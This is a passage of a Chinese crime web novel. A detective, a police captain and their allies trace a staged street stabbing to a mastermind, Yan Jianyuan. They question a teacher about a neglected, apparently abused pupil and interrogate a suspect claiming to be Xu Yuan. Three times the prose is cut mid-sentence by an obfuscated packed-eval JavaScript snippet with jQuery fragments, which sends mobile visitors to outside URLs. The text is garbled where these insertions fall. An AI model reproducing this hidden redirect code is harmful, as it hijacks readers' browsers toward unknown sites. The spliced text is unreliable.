“稍作验证就知道可能性不大。”方清昼说,“由于许游翔不停强调,我顺手查了下梁益正他爸的履历。二十多年他爸还不是什么市局局长,甚至不在b市,而是在隔壁市的县里任职。是梁益正出事之后才被调回来的。我不认为他当时有人脉,或者有权力,能让整个公安系统为他遮掩杀人的罪行。”
冯队急道:“不是,他爸是市局局长也不行啊!拿我们当hei社会杀手呢?”
周随容直觉哪里不对,如鲠在喉,又找不出根源,问:“你们今天怎么来得那么及时?”
“不是你们说凶手的目标是梁益正吗?放他离开分局,我们在后面悄悄跟了一段——”冯队冷静了下,说,“我们抓到嫌疑人了,可以从他身上顺藤摸瓜,找到幕后主使。”
方清昼无情斩断他的遐思:“那又怎么样?也许这是正中对方下怀。”
冯队闻言心里打了个突,等红灯的功夫,自虐地抓挠发痒的头皮。
方清昼说:“幕后人如果是想杀梁益正,一开始就可以杀,不用先杀个江平,引起警方关注,再在大庭广众之下草率行凶。
“今天晚上,无论是歹徒当街行凶,还是梁益正拉人挡刀、朋友反目成仇、警察英勇制敌,每个剧情都是能吸引社会关注度的热点话题。”
方清昼有条不紊地分析:“围观群众多,视频传播开后,网友会去深扒歹徒跟王达叫骂的内容。梁益正作为隐形官二代以及收入颇丰的大网红,两个标签叠加本身就容易引起民众恶感,加上一些人浑水摸鱼,舆论风向极可能会转变成警方不分公私保护特权阶级,压迫底层人民。”
冯队在现场就有类似的预测,只是远没这么严重,现在听她缜密分明地剖析,意识到事态严峻,感觉心脏在一层层地往下落。
“冲击性的视觉,戏剧性的反转,敏感的社会议题,配上耐人寻味的阴谋论,什么要素都齐了。这件事不仅会火,还会因为各种真假难辨的信息补充,火很长一段时间。”方清昼摩挲着手指,“所有人都领到了自己的角色,主动或被动地为他推演了剧情……原来这就是他说的热闹。”
方清昼说到一半,冯队已经陷入死一般的静默,宛如被活阎王掐住了咽喉,被迫上演变脸的哑剧。
方清昼安慰他:“别紧张。舆论发酵一下,这个案子也许很快会被移交到市局。再闹大点,可能上省厅。到时候就有人来分担你的压力了。”
冯队喉结滚动,有苦难言,心情翻覆片刻,气笑出声。
这说的是人话吗?
“何况,你找到幕后主使又能怎么样?”方清昼别向窗外,轻描淡写地告知,“不用查了,他叫严见远。”
34.联系
冯队吞了口唾沫,瞄向后视镜里那双沉静的侧脸,打着商量道:“同志,你下次能不能不要这么语出惊人?”
方清昼眼珠转了半圈,短暂检讨后没觉得自己哪里语中带“惊”了。她修长的脖颈微微扬起,注视着车厢顶部,代入严见远的角度思索,结论说:“他对你们不满意。”
“他对我们?他以为自己是谁?”冯队以为是自己幻听,握着方向盘的手指带着恼躁快速敲动,口气不善地说,“怎么?我们给他发满意度调查了?公安部门改做服务业了?”
方清昼:“他是谁,对现在的你们来说不重要。在他身上耗费精力,多半是一无所获。”
冯队胸膛起伏,大为光火,手臂不自觉跟着挥动起来,火山喷发道:“他一个高危分子,就差爬到警察头上作威作福了,我还留着他在外面兴风作浪?你们那个编改记忆的技术,在他手里就是个罪恶的温床,多让他逍遥一天,都不知道会繁殖出多少麻烦!”
方清昼置若罔闻,兀自阐述:“他多次给出提示,不断提醒警方去调查梁益正。请柬的事没能引起重视。别墅外的无名尸体,因为我意外指认出身份,也影响了警方的办案流程。”
冯队索性在路边停下车,弯腰去摸先前掉落的烟,全神贯注地听她说话。
方清昼降下车窗,往边上靠了靠,手肘搭在窗台上,找了个舒服的姿势,接着往下说:“警方的办案重点是优先捉拿凶手。既然无法从动机进行推断,完全依靠现代的技侦手段也不是不能做到。但是任由警方通过江平的轨迹研判来侦破案件,不在他的计划之内,所以他改变策略,利用发酵的舆论重新推动你们回去调查梁益正。”
她均匀的语速,以及毫无波动的情绪,让冯队产生一种正身处会议室听上级领导讲话的错觉,条件反射地做出点头应和的举动。
“我建议你们顺从他的思路,把侦查方向放在梁益正身上,不用去查他是谁、什么目的、什么来历。否则可能会出现其它危急的状况。”
冯队右手捏着烟,放在鼻尖轻嗅,内心认同她的观点,可情感上有种被钳制的屈辱,悻悻道:“所以警方要被犯罪者的意图所绑架?”
方清昼没理会他这句怨悱,歪着头从座椅的空隙朝前看,透过挡风玻璃上的倒映跟冯队对视,问:“王达管不住自己的嘴,许游翔本身对旧事报有偏见跟愤慨,社会风向但凡冒出一个火星,他们就会跳出来助燃。那个警察逼死人的传闻,你觉得是天方夜谭的笑谈,但一定会有不少人相信,你知道为什么吗?”
冯队听到这个老生常谈的问题,心中油然生出一阵乱麻似的烦躁,咬着烟嘴磨牙,不走心地道:“因为大众喜欢离奇曲折的故事啊,可是现实哪来那么多的反转?”
岂料方清昼斩钉截铁地落下一句:“不是的。”
冯队意外地松开牙关。
方清昼托着下巴,不冷不热地道:“你是警察,立场是执法,你的思维逻辑是证据、动机、可行性。你的判断标准是效率、准确、排除不安定因素。所以你认为不重要的事情就不关心。可是对于普罗大众而言,被你排除的无用信息,才是他们最迫切想要知道的答案。那么冯队,我只有一个问题,人呢?”
冯队怔然,对着玻璃上自己模糊的脸感到有些迷蒙。
方清昼说:“我不想听警方跟我分析这种事情发生的概率有多低,斥责网友的猜测有多么荒唐,这只会让民众感受到警方的傲慢。我也不在意什么起因、动机跟过程,我只知道最终的结果——为什么那对父子会消失?
“一个不满十二周岁的少年,跟一个没有文化、带有暴力倾向的中年男人,如果他们可以在毫无准备的前提下,完全消除自己在这个社会的行动痕迹,那么全世界的罪犯都应该向他们学习。”
身上的汗渍已经干涸,夜间凉爽的风吹在皮肤上,有种难耐的粘腻感。
冯队把嘴里的香烟取下来:“我们问过辖区的派出所,当年帮忙调解的两个民警,一个已经退休,一个前两年癌症病逝,暂时都没能联系上。”
方清昼说:“去联系。”
冯队没在意她有如发号施令的语气,迟疑地问:“你怀疑那对父子真的死了?”
方清昼保守地道:“不好说。”
她直觉猜测严见远是当年那个小孩儿,但目前没有佐证,干脆不予指出,以免影响他们判断。
方清昼把严见远的照片跟简略信息发给冯队。冯队点击接收,拧着身朝后看,对上周随容的脸,才记起来后座还有这么个人。又想起他是资料上的第一个受害者,谦虚地问:“周随容,你怎么看?”
周随容从屏幕上收回视线,全然状况外地不解道:“看什么?严见远吗?我跟他不熟,上次见面是好几年前了,当时没觉得他不正常。”
方清昼靠过去问:“你在看什么?”
“我在搜今晚的新闻,已经有不少视频传上去了。”周随容拉动着视频的进度条,摆到方清昼面前,断开耳机连接,点击播放,“拍到我了,怎么样?”
博主从一个刁钻的角度,拍到了周随容追着歹徒踹出的那一脚,以及他在刀锋挥砍下灵活闪避的姿态。好几次眼看着刀片就要碰到他,周随容只是从容不迫地化解,那股潇洒自然的风度,在周围一片人仰马翻的惨叫下,映衬得格外耀眼不凡。
方清昼看了一遍,意犹未尽地说:“没白打扮,周哥。”
周随容大笑着去捂她的嘴,软声道:“学姐,能不能直接夸我啊?”
冯队见他们两个旁若无人地黏到一块儿,大声宣告:“咳!我在呢!我还在!”
方清昼把视频往后拉,将冯队出场的画面转给他看。
就见冯队穿着被撕破的乞丐装,露出一半的胸口,气势汹汹地站着,睥睨四周。一张脸上还充满搏斗时的悍戾。
冯队两眼发黑,不服气道:“怎么那么丑?这人会不会拍视频啊!把我拍得跟土匪一样!”
“你快回去工作吧。”方清昼把视频调回去又看了一遍,随口道,“我认为你们今晚抓到的那个歹徒,可能就是杀害江平的凶手,严见远把人送给你们,这样你们就可以集中精力去查梁益正了。”
冯队没当回事,顺着应道:“那我就谢谢你的吉言。”
·
冯队把二人送到酒店门口,火急火燎地赶回分局。
同事还在加班,重案中队的办公室灯火通明。
冯队刚走出电梯,迎面就遇上中队的同事。年轻的警员眼下青紫,拖拽着脚步梦游似地越过他往里走。
冯队一把将人拽住,掐住他的肩膀用力晃动:“醒醒!小黄!晚上抓到的那小子呢?还老实吗?”
年轻警员系统卡顿,过了两秒才正常运行,回道:“他说他手疼,被你打骨折了,一直在嚷嚷,高哥就先送他去医院了。现在应该还在做检查。”
他说着把手里几张刚打印出来的纸递给冯队,一脸雀跃地邀功道:“冯队!我们认为他就是杀害江平的凶手!”
冯队第一反应却不是欣喜,而是从尾椎骨窜上一股麻意,浑身打了个激灵,嘶声道:“他招了?”
“没有。但是我们在他身上搜出来一个皮夹,跟江平的家属核实过后,确认是江平的物品。技侦那边拿去取证了,剩下的等结果就行。”年轻警员咧着嘴兴奋道,“他把江平的身份证件跟手机都给丢了,但是留下了这个皮夹,估计是因为上面有个很大的奢牌标吧……虽然它其实是个山寨货。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537592|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
冯队张着嘴巴,一时哑然。
他们说话的时候,隔壁招待室里走出来一个气质利落的陌生女人,停在门口位置,朝他颔首示意。
警员顺着冯队的目光回头看,一拍脑门道:“哦对了,我给忙昏头了!这位是A市南区分局的季和季队长。”
冯队赶紧上前,伸出两手招呼道:“你好季队,久仰大名!不是说明天来吗?”
季和凝重道:“我们得到了一个比较重要的线索,所以提前过来了。是关于之前资料中没有指明的关键嫌疑人,和沈知阳……”
“哦我知道!”冯队不等她说完,大嗓门地道,“严见远是吧?”
季和:“??”
你们怎么知道?
她脸上的震惊太过明显,冯队完美解读,笑眯眯地说:“是方清昼告诉我的。”
季和:“??”
方清昼又怎么知道?
两人还没开始互通信息,招待室里又转出来一个人。
陆盛兴风似地冲到二人中间,握住冯队的手,扬起一张热情的笑脸:“你好!我是季和警官的朋友,我叫陆盛兴!”
季和目不斜视地说了句:“我不认识他。”
“你怎么这样啊?”陆盛兴哀怨一句,见冯队面带警惕地打量二人,从兜里掏出一张工牌,自我推销,“好吧,我是三夭的工作人员。我的领导就是你刚才提到的那个方清昼。【异常测定】这个项目我虽然没有参与过,但是知道一点内情,对你们很有帮助的。而且我绝对没有作案嫌疑,这一点你可以跟季和警官求证。最重要的是——”
他滔滔不绝地说了一长串,在众人怀疑他会氧气不足的时候终于换了口气:“我志愿帮忙!”
季和的眼神从没那么生动过,希望冯队可以保持理智,拒绝这个提议。
可冯队还是跟她交情太浅,没有领会到她的深意,蹭过方清昼的便利,终究抵挡不住“免费专家”的诱惑,怀着惊喜的心情点了点头:“真的啊?辛苦小同志了!”
季和:“……”
不然她走吧。
“我确实有一个任务要交给你,正需要像你这样……额……”冯队对着陆盛兴打量一番,一时找不出听起来高端的形容词,囫囵揭过,“形象这么正面,气质这么亲切的人!”
陆盛兴登时斗志昂扬,暗暗冲季和挑了挑眉,心潮澎湃地道:“这位领导你说!”
冯队跟他加了好友,脸上的笑容标准得跟焊上去似的,活脱脱像个无良的诱拐犯。
他勾着陆盛兴的肩膀,带着人走进招待室,给对方发了许游翔的照片跟号码,嗓子放低了两个度,硬生生憋出一道温柔的声线:“这个人你记下来,他是我们警方一个重点关注对象。你看能不能跟他交上朋友。最好不要让他认为你跟我们警方有关系。”
陆盛兴遗憾道:“啊?不是技术岗吗?让我去交朋友啊?我有点社恐的。”
冯队心道你小子连头发丝儿都写着自来熟,社哪门子的恐?重重拍两下他的背,肃然交托使命:“24小时看住他,就是最大的技术难度。如果他要见什么人,做什么事,你第一时间跟我们汇报,能不能做到?!”
季和注视着二人背影,挠了挠眉毛,望向边上呆滞的警员。
年轻警员磕磕巴巴,声音竟有点发虚:“他、我们冯队真的是个好人。”
季和摆摆手,让他去忙自己的,走到角落,给方清昼打了个电话。
信号响了一阵,对面没接。
过了两分钟,方清昼给她发了条短信。
方清昼:我要早睡。明天早上我要去见一个人。
季和:谁?
方清昼:梁益正初一时的班主任。
35.初中
梁益正初一时的班主任姓叶,如今还在当时的学校任教。
方清昼以“想要帮助梁益正拍摄婚礼用的祝福短片作为贺礼”为由,约到了她一个课时的时间。
然而方清昼没能顺利调整回自己的作息。
早上周随容过来喊人时,她穿好了袜子,换好了衣服,在进展到最后一步时,重新躺回了床上。
周随容站在床边无奈道:“领导,十分钟前,你跟我说你在穿鞋了。”
方清昼挂在床沿的两条腿勉为其难地动弹了下,闭着眼睛搪塞道:“我在穿。”
周随容觉得自己也没怎么清醒,看她犯迷糊的样子只觉得可爱。
他上前抬起方清昼的脚,架在腿上,给她套上鞋,系好鞋带,催她起床,却见她更投入地装睡。
她两手交握摆在小腹上,一幅很乖巧规矩的睡姿,像是要博取他的同情。
周随容含笑数落道:“方清昼,你好任性。”
方清昼想也不想地道:“你很喜欢。”
周随容忍俊不禁:“你好自恋。”
方清昼不满意地道:“说点好听的。”
周随容于是俯身上前,单手支在她脸侧,柔软嘴唇亲过她的鼻尖、眼皮,说:“我都很喜欢。”
“嗯。”方清昼施舍地掀了下眼皮,自信道,“我知道。小周,你就是嘴巴笨。”
周随容闷声发笑,撑着脑袋,陪她躺了两分钟,见时间实在不多,烦恼道:“怎么办啊?要不然不出门了。”
方清昼长叹一口气,决定起床。周随容把她拉起来。
方清昼睁开眼,又一次在他脸上停留过长的时间,露出想要评价的表情,思考着道:“你今天……”
“我又花枝招展的了?”周随容叫她的名字,“方清昼——”
方清昼早有预料地代他发言:“好好说话。”
周随容挑眉,示意她三思完赶紧开口,要出发了。
方清昼念在他服务自己穿鞋的份上,学会了一点花言巧语:“可是我想说的是,你今天看起来很不错。”
周随容忍了忍,终究还是没忍住,唇边一点点绽开明媚的笑容,强行维持住一点表面矜持,惬心道:“是吗?没看出来。你真这么觉得?怎么不错啊?”
他说着走近一步,贴住方清昼的肩膀。方清昼主动去亲他的下巴。
周随容微微低下头,方清昼又亲了下他的嘴唇。然后抱着他,在他脖子上习惯性蹭了蹭,满意地道:“走吧。”
周随容从后面勾住她的手指,走进电梯的时候,方清昼把手抽出去,又变得不解风情了:“太热了,有汗。”
今年夏天该死的长,尾巴拖到入秋了。
坐上车,周随容设置导航的时候,有种强烈的冲动想把目的地定到A市,他对着那个“回家”的功能,手指跟目光在莫名的吸引力中拉扯着往下移动,选好地址后立马发问:“我们什么时候回去啊?你找人帮忙到家里给那堆绿植浇水了吗?”
方清昼对他无缘无故提起这个话题感到奇怪,没有多想,回说:“林姐可以帮忙。”
周随容说:“林姐不迁怒到把你的盆砸了,算是做人厚道。我们早点回去吧。”
方清昼见他消极怠工,不由提醒道:“你之前明明着急知道自己失忆的内容。”
“是吗?”周随容都快忘了这事,不过现在想起来也不怎么用心,无所谓地道,“哦。”
方清昼又指着他说:“你之前明明为了这个跟我生气。”
“有吗?是吗?”周随容敷衍应了两声,抓住她的手吻了吻她的手指,神采奕奕地笑道,“没关系,我现在不生气了。”
方清昼看他晕头转向的样子,一肚子话尽数落空,识趣地闭上嘴。
周随容回过味儿来了,暗戳戳地道:“方清昼,你是不是有点不顾家?”
方清昼不知道怎么接他后面的话题,若无其事地拿过他的手机。
周随容说:“又查我手机啊?”
说到这个,方清昼有底气指责了:“你不应该把手机随便交给别人。”
周随容无辜道:“我随便给谁了?”
“王达。”方清昼强调道,“谁都不可以。”
周随容确定她这是在找借口以便转移话题,没有追究,驶离停车场。
·
B市中学经过两次扩建,通往教学楼的道路两侧是生机盎然的杨树跟草地,到了九月仍是一片深绿。初秋的风吹来,带着微末的湿热。
野猫静静趴在厚重的草皮上休息,察觉二人路过时,睁开玻璃珠似的眼睛与他们对视,浑圆的脑袋随他们走动一寸寸偏转,直至目送他们走进教学楼。
铃声响起,少年们穿着校服,飞快在走廊上奔跑,谈笑声被按下静音,中止在教室紧闭的大门后。
办公室里只有一个人,方清昼敲了敲靠墙大开的门,停在门外招呼:“你好。”
叶老师摘下眼镜,朝二人颔首:“你们来了啊。欢迎欢迎。”
她从抽屉里取出一张准备好的照片,递过去道:“这是他们那一届的毕业照。我翻出来看了下,还好没褪色。”
相片保存良好,只是二十多年拍出来的人脸,有一种水晕式的模糊,像开了滤镜。
梁益正站在人群正中,比后排的男生还要高上一截,加上戴着眼罩的独特造型,引人注目。
周随容拿出相机,搬了椅子坐到二人对面,做出在拍摄的架势。
叶老师被镜头对准,颇有些局促。
她知道梁益正粉丝的多,想到网上那些关注,就感觉自己面对的不是摄像头而是显微镜,双手一会儿摆桌上一会儿放腿上,怎么调整都不对劲。好在多年执教的经验叫她面上稳如泰山,没露出太多慌张。
她坐姿板正地介绍道:“我带他们班的时候,大学毕业才没两年,让我做班主任,我心里也是直打鼓。有少部分学生相当滑头,看管不了,说了不听,骂了没用,我又不能动手打,还好有梁益正,他是比较早熟的,能帮我维持班里的秩序。”
方清昼左耳进右耳出,一边点头,一边将三十多名学生的脸清楚扫了一遍,等她背完这段枯燥的稿子,问:“还有别的照片吗?什么都可以,学校做各种活动应该会有照片留存吧?”
叶老师不疑有它,让她等一下,打开电脑上的□□,从相册里找到对应的图库。
“运动会、文艺晚会、跳蚤市场之类的活动,从初一到初三,我都挑了几张放在这儿。”
她给方清昼让出电脑前的位置,负手站到一旁。
方清昼从标注了初一的相册开始翻阅,目光在一张张稚气未脱的脸庞上稍作停留,速度缓慢。
叶老师不知道她在看什么,耐心在一旁等候。
相册里共有四五百张照片,过了十来分钟,叶老师见她没有停止的趋势,有些站不住了,手轻轻抬起,想要打断。
方清昼自己停了,鼠标前滚,放大其中一张照片,指着上面的人影问:“这个学生呢?毕业照上好像没有看到他。”
男生在照片里只占据了一个隐蔽的角落,正跟在同学身后搬桌子,被拍到了半边身体。
叶老师弯腰去看,脸上闪过一瞬的错愕跟惊讶,探究的目光如有实质地刺向方清昼,片刻后道:“这个学生退学了。”
方清昼醍醐灌顶:“哦,就是那个打瞎梁益正的人。”
叶老师扯动嘴角,急于解释:“其实我们学校很少发生这样的恶性事件,这么多年里也就这一起,后来学校严查相关的风气……”
方清昼似乎没在听她辩解,兀自翻动照片,又挑出一张。
一群学生围在教室后方的心愿墙边写贴纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542721|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
图片不断放大,左侧边缘处,一只手费劲地从人群后方够出来,将指尖的蓝色贴纸按到墙壁上。
那手臂上有条纵长的疤,深黑的结痂尚未脱落,纵然照片拍得不够清晰,依旧能从明显的色差中看出那道足以撕裂肌肉的严重裂口。
方清昼将鼠标点在那道蜿蜒可怖的伤口上,一言不发。
叶老师噤声,情绪变得比先前还要激动,一下没控制住表情,深深吸了口气,然后才道:“这个伤不是我们学生打的,这个同学的家庭情况比较特殊。”
她止住话头,警惕地问:“你们到底是什么人?不是来拍新婚祝福吗?”
“网友们就关心这个,说两句吧老师。”周随容出面打圆场,笑意和善,“别担心,我们会剪辑的,你觉得不行的内容,我们一句话不留。”
叶老师唇角抿得平直,眉间郁色深重。
方清昼问:“这个学生叫什么名字?”
叶老师思索一阵,摇头道:“太久了。不记得了。”
她心绪不宁,连续吞咽了几次,手指按住干涩的喉咙,去桌上端水杯。
周随容好奇心旺盛地问:“他们是怎么起的冲突?还发展到见血了。这也太夸张了。”
叶老师灌了两口水,额角绷紧,淡妆遮掩了变化的脸色,简短的回复中透露出十足的抵触:“不知道。”
她挥了下手,挡住脸道:“别拍了!”
周随容顺从地放下相机,清亮的眼睛弯曲起来,顶着张让人难以生厌的笑脸,真恳地请求:“那就不拍了,跟我们随便聊两句吧老师,我们保证不往外说。那个学生什么样啊?他人缘好吗?一般会搞霸凌的,都有不少朋友能抱团吧?”
“没有,他在班里没有朋友,性格孤僻,一般不跟人说话。”叶老师本来不想回答,闻言又多说两句,“也不会有同学愿意跟他做朋友。他经常不洗澡,夏天整个教室里全是他身上的味儿。学校要求他剪头发,他不听,头发邋里邋遢,刘海挡住眼睛,扣了我们班级不少分。”
周随容缄默不语,唇角弧度跟固定住了似的,虚假得像戴着张假面。
方清昼瞄了他一眼,问:“你没说他吗?”
“我说了啊!他脸皮厚,什么都不听!我让他罚站,他不痛不痒。上课不带书,点名了站起来不回答。不是我不想教,是我根本教不了他!”叶女士提到少年,满腹的怨悱冲开了话匣,说到后面感觉浑身瘙痒,坐立难安,尖酸地道,“他头上还长虱子,传染给同学,没人愿意坐在他边上。我拉着他去剃了个光头,没多久头发出来了又长!宿舍都安排不下去!我总不能天天去男生寝室盯着他洗澡,你们说怎么办?!”
方清昼张开嘴,又闭上,看她的眼神十分复杂,带着她无法读懂的晦涩。像有怜悯,又有谴责,还掺杂着一点酸楚。
周随容突兀说了一句:“我以前也是这样。”
叶老师疑惑地转向他。
周随容平静说:“我继父不让我洗澡,他觉得洗澡、洗衣服,是浪费水跟肥皂,我进厕所的时间长一点他就会抱怨。我是不是脏对他来说无所谓,反正他不让我睡床。我们都不在一张桌上吃饭。”
“我小学的时候可能比这个男生还要脏,同学不敢接近我,聚在一起骂我是野猪。可是我的老师不会。她问我为什么不洗澡,知道情况后带我回家借我浴室,自己跟着视频学理发,帮我剪头发。虽然剪得不好看,但她不会觉得,一个孩子不洗澡,是孩子的错。她只会觉得我可怜。”
叶老师表情变得难堪,青青白白地交替,仿佛被他当面狠狠扇了两巴光,耳根和脖子根泛出一抹粉红,支支吾吾了半天,说:“你们情况不一样。”
周随容耸了下肩,复又没心没肺地笑道:“可能吧,是我推己及人,还以为是室友不让他用厕所,不让他进寝室。”
36.标题
叶老师总感觉周随容的这段话别有深意,听起来不是在解围,是在暗讽。内心急切地想要辩白,张开嘴又感到词穷。
无言以对的数秒里,屈辱伴随着怨愤蔓延了上来,让她皮肤一阵灼热,仿佛被拖到太阳底下炙烤。
她捏紧了杯子,频繁地喝水缓解,走到饮水机边,给自己加水。
直起身的时候,叶老师冻住的思维找到了挣脱的缺口,埋怨的话滔滔不绝地流出来:“他爸是个怪人,我打他电话,他从来不接,接了也是敷衍两句就忙不迭地挂断,对自己儿子在学校的情况一点不关心。
“他手上拉出那么大一道口子,刚受伤的时候笔都握不住,说不定会留下什么后遗症,一般当爸的该有多着急?可他爸比陌生人还要冷血,一个安排没有,把人丢到学校就拍拍屁股不管了,最后是学校老师抽空带他去医院拆的线……”
她声音紧得变调,脖颈上的肌肉胀得像块石头,声带连震动都变得异常困难。
她本能地试图推卸责任,可说到后面,话题又似乎回到了原点。
那个连名字都不被记得的学生,只是一个十岁出头的未成年人,他的所有不体面,都是年长者失格的铁证。
叶老师顿了顿,抬头迎上两道注视着自己的眼神,再次哑然失声。额侧阵阵作痛,痛觉带来眩晕的错觉,青筋伴随着脉搏一下下抽跳,仿若逆流的血液放大了她周遭的安静。
叶老师顶着目光朝前走了两步,喝再多水喉咙还是干渴得要命,她卷曲舌头,从胸腔用力地发声,好让陈述的声音中没有不合时宜的忐忑跟踌躇:“他说他的手是自己不小心撞伤的,但我怀疑多半是他爸动手打的。他爸是个木工,收入照理来说不低,但是手上不存一分钱。儿子几十块钱班费拿不出来,自己倒是有钱去抽中华。生起气来跟茹毛饮血的野兽一样,大声咆哮、皮肤通红、丧心病狂,一言不合就是抽、踢、摔、砸,疯狂地宣泄,一点不在乎会不会打死人。”
她说到这里,心有余悸地打了个寒颤:“这样恶劣的家庭环境,难怪那孩子后来敢打瞎梁益正的眼睛。”
周随容无法评价,他的立场此刻说不出任何动听的话。放在腿上的手指拳曲收紧,继而拿起桌上的相机以作掩饰。
“哦……”方清昼眼皮下阖,轻声说,“是吗?你认为不正常的是他。”
方清昼站起身,把手机递过去问:“那你有没有见过这个男人?目视身高在一米八五到一米九之间。”
叶老师只扫了一眼,便断然道:“没有。”
她大概是意识到自己方才过于失态,说得稍有过火,调整了下语气,试图把话题揭过:“这个人我要是见过,一定会有印象。他不会也是我们学校毕业的吧?”
周随容从倾斜的屏幕上瞥到了严见远的脸,而且就在未解锁的屏保上,一瞬间眼睛都瞪直了。
??
嗯?
他良好的记忆力自发在脑海中对那仓促一眼扫到的画面进行重绘调整。
背景的光色是白天。
头发稍长,黑色的西装。
不变的是趾高气昂的神态。
……不是昨晚拍的。
方清昼的手机里一直存着那只高脚公鸡的照片,还被她设成了壁纸。
那张脸拽得二五八万,跟谁欠了他几个亿一样,放相册里不嫌不吉利吗?
周随容的注意力一下被转移了,后槽牙像被碳酸饮料浸泡过,气泡啃噬得牙根发酸发痒,只能交替着按动手指关节,听着“咔咔”的清脆响声来克制咬牙切齿的情绪。
方清昼收回手机,屏幕暗去,她拇指轻点,困惑不解地道:“你不认识他吗?我以为他就是那个学生。”
叶老师手中的水杯晃了下,水渍溅了一身,她仓皇扯过桌上的纸巾擦拭,机械式地重复同一个动作。
“这么意外?”方清昼半靠在办公桌上,手机的边角磕上木质的桌案,言语里出现图穷匕见的攻击性,“也是,因为你从来没有认真看过他,就像你拍了数百张学生的照片,却没有一张正经拍到他的脸。是吗?”
·
冯队举着手中照片,烁亮锋锐的眸光在头像跟面前的男人之间来回比对。
照片上的人瘦得脱相,颧骨突出、皮肤偏黑、嘴唇发暗。病床上的嫌疑人稍稍胖了点,脸颊没那么凹陷,头发剃成平头。除此之外没有任何区别。
冯队拇指用力,把照片捏得变形,抬起下巴,半信半疑的态度因他粗野的气场,落到别人眼里成了高高在上的倨傲:“你说,你是失踪了二十多年的许远?”
昨晚行凶的歹徒躺在病床上,怪异地问:“你们有什么不相信的?”
冯队垂下手,把照片塞进口袋,不动声色地道:“主要是看起来不像啊。你这张脸起码有四十岁了。”
男人的笑容阴恻恻的,满脸的皱纹随之堆起来:“高贵的警察,你要是过的跟我一样的日子,你也老得快。”
“那好吧,许远。”冯队拉过边上的圆凳坐下,“离开B市后,你去了哪里?”
许远嗤笑:“东躲西藏呗,这可就说来话长了。你们警察乐意听吗?”
冯队高壮的身躯坐在折叠椅上看起来有些委屈,他没个正经地架起二郎腿,摆出思考者的姿势,由衷好奇道:“你跑什么啊?你打瞎梁益正的时候不满12周岁吧?法律判不了你。”
“让我活不下去的从来不是法律,是他们没给过我活路。”许远说着激动起来,扯动手铐哐哐砸响,“你凭什么拦着我!梁益正不该死吗?只差一点我就杀了他!”
冯队问:“你隔那么多年回来,就为了杀他?你没觉得这行为奇怪吗?”
“有什么奇怪?我本来已经远离B市,我也以为一切可以过去,可是当我打开手机,又特么看到梁益正那张猪狗不如的脸!我就知道过不去!他要结婚了!他居然说自己是受害人!他靠着这个人设赚了多少钱?为什么他可以那么幸福?那我这些年阴沟一样逃窜的生活算什么!二十几年过去了,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16558861|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是不肯放过我,还要往我身上戳这一刀!凭什么?!”
许远声音越来越大,浓烈的憎恨如飓风掀浪,彻底毁灭理智,面红耳赤地嘶吼起来,不顾手腕被勒出红痕,像头发狂的野狼,要从床上扑下来,嘴里喷出腥臭的呼吸,恶毒地诅咒:“我杀他怎么了?你们给过我公平吗?你们这些警察只会逼我谅解!谅解!我这辈子活得跟狗一样我还要谅解他?为什么没有人知道他们对我做过什么?我难道天生下贱,只配当他的垫脚石?那不如大家一起死好了!老子要他也不能活!”
季和两手抱胸站在墙边,听他嘴里开始迸发各种不堪入耳的辱骂,那种癫狂的恨意太过真切,是种深入骨髓的仇怨,疑虑重重地问:“这么激烈的情绪,也是人为赋予的?”
陆盛兴在边上摇头道:“不不不,【异常测定】无法植入情绪,只能在一定程度上修改认知。他是真的认为,假如自己是许远,有过相同的经历,会恨不得这些人去死。”
冯队从父母到祖宗轮转了一遍十八层地狱,偏还打断不了许远的唾骂,抹了把脸,转过身问:“你小子为什么在这里?我不是给你发派任务了吗?”
陆盛兴挺起胸膛道:“我很厉害的好吧?你们一群门外汉,面对这种情况只能两眼抓瞎,我得给你们分析啊!他的反应里哪些是真哪些是假,我一试就出来了。”
冯队虚心求教:“你怎么试?”
陆盛兴想了下,说:“他们思维直来直往堪比人机?”
冯队问:“怎么人机?”
陆盛兴指向许远说:“像他这样的。”
许远的骂声戛然而止,听得稀里糊涂,但直觉不是好话,问:“我怎么了?”
陆盛兴异口同声道:“我怎么了?”
许远愣了下,陆盛兴再次同时开口,二人声音交叠:“你什么意思?”
“你看吧。”陆盛兴耸肩,“他们自己的思考方式特别没有新意,像个纯洁的小男孩。”
这个评价从他嘴里吐出来,许远感觉自己被深深的侮辱了。
他暴怒地上前,挣扎间竟带动病床移动,跟地面摩擦发出短促的噪音:“你瞧不起我!你拿我当笑话!”
冯队担心许远真把自己弄骨折了,届时倒打一耙说警方严刑逼供,当即招呼着同事上前,将人死死摁在病床上。
